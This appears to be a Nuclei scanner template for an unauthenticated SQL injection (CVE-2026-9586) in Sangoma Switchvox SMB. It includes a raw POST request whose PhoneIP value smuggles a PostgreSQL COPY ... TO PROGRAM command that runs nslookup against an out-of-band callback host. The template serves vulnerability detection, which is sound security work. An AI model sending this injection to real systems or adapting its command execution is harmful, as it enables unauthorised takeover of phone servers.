id: CVE-2026-9586

info:
  name: "Sangoma Switchvox SMB - SQL Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An unauthenticated SQL injection vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The /pa
    endpoint processes XML content beginning with <PolycomIPPhone> and directly concatenates the user-controlled
    PhoneIP value into PostgreSQL queries without sanitization or parameterization.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-9586&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sangoma&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9586
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,sangoma,switchvox,sqli,rce,oast,vkev,vuln,kev
http:
  - raw:
      - |
        POST /pa HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<html><body></body></html>"